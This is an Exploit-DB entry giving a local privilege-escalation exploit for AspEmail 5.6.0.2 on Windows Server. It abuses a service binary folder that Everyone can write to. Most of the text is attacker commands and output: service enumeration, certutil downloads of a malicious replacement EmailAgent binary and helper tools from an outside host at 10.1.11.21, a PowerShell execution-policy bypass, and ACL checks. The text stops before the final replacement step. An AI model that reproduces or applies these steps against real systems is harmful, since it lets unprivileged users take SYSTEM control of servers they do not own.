Exploit-DB #51380
Description: AspEmail v5.6.0.2 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2023-04-20
Author: Zer0FauLT

Exploit:
####################################################################################################################
# Exploit Title:  AspEmail 5.6.0.2 - Local Privilege Escalation                                                    #
# Vulnerability Category: [Weak Services Permission - Binary Permission Vulnerability]                             #
# Date: 13/04/2023                                                                                                 #
# Exploit Author: Zer0FauLT [admindeepsec@proton.me]                                                               #
# Vendor Homepage: https://www.aspemail.com                                                                        #
# Software Link: https://www.aspemail.com/download.html                                                            #
# Product: AspEmail                                                                                                #
# Version: AspEmail 5.6.0.2 and all                                                                                #
# Platform - Architecture : Windows - 32-bit | 64-bit | Any CPU                                                    #
# Tested on: Windows Server 2016 and Windows Server 2019                                                           #
# CVE : 0DAY                                                                                                       #
####################################################################################################################

# ==================================================================================================================

[+] C:\PenTest>whoami /priv

 PRIVILEGES INFORMATION
 ----------------------

 Privilege Name                Description                               State   
 ============================= ========================================= ========
 SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
 SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
 SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
 SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
 
# ==================================================================================================================

* First, we will test whether the AspEmail service is active.
* First of all, we perform a query to list the processes running in the system with normal user rights and test whether the process of the relevant service is running:

[+] C:\PenTest>tasklist /svc | findstr EmailAgent.exe
   EmailAgent.exe                4400 Persits Software EmailAgent

                           or                                                 

[+] C:\PenTest>tasklist /svc | findstr EmailAgent64.exe
   EmailAgent64.exe                4400 Persits Software EmailAgent
   
* We have detected that the process of the "Persits Software Email Agent" Service is state "RUNNING". 
* Now we know that AspEmail service is active.

# ==================================================================================================================

* We will need these:

[+] C:\PenTest>certutil -urlcache -split -f http://10.1.11.21/EmailAgent.exe "C:\Program Files (x86)\Persits Software\AspEmail\BIN\EmailAgentPrivESC.exe" <<<=== MyExploit
[+] C:\PenTest>certutil -urlcache -split -f http://10.1.11.21/nircmd.exe "C:\Program Files (x86)\Persits Software\AspEmail\BIN\nircmd.exe"
[+] C:\PenTest>certutil -urlcache -split -f http://10.1.11.21/Mail.exe "C:\Windows\Temp\Mail.exe"
[+] C:\PenTest>certutil -urlcache -split -f http://10.1.11.21/Run.exe "C:\Windows\Temp\Run.bat"
[+] C:\PenTest>certutil -urlcache -split -f http://10.1.11.21/PrivescCheck.ps1 "C:\PenTest\PrivescCheck.ps1"

# ==================================================================================================================
                                                                                          
[+] C:\PenTest>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

 Name: Persits Software EmailAgent
 ImagePath         : "C:\Program Files (x86)\Persits Software\AspEmail\BIN\Email
 Agent.exe" /run
 User              : LocalSystem
 ModifiablePath    : C:\Program Files (x86)\Persits Software\AspEmail\BIN
 IdentityReference : Everyone
 Permissions       : WriteOwner, Delete, WriteAttributes, Synchronize, ReadControl, ReadData/ListDirectory, 
 AppendData/AddSubdirectory, WriteExtendedAttributes, WriteDAC, ReadAttributes, WriteData/AddFile, 
 ReadExtendedAttributes, DeleteChild, Execute/Traverse
 Status            : Unknown
 UserCanStart      : False
 UserCanStop       : False
 
[+] C:\PenTest>del PrivescCheck.ps1

* We detected "Persits Software EmailAgent" Service "Binary Permission Vulnerability" in our checks.

# ==================================================================================================================                                                                                     #

[+] C:\PenTest>ICACLS "C:\Program Files (x86)\Persits Software\AspEmail"

    Successfully processed 0 files; Failed processing 1 files
    C:\Program Files (x86)\Persits Software\AspEmail: Access is denied.

* We do not have permission to access subdirectories.

# ==================================================================================================================

[+] C:\PenTest>ICACLS "C:\Program Files (x86)\Persits Software\AspEmail\BIN"

 C:\Program Files (x86)\Persits Software\AspEmail\BIN Everyone:(OI)(CI)(F)
                            DeepSecLab\psacln:(I)(OI)(CI)(N)
                            DeepSecLab\psaadm:(I)(OI)(CI)(N)
                            DeepSecLab\psaadm_users:(I)(OI)(CI)(N)
                            BUILTIN\Administrators:(I)(F)
                            CREATOR OWNER:(I)(OI)(CI)(IO)(F)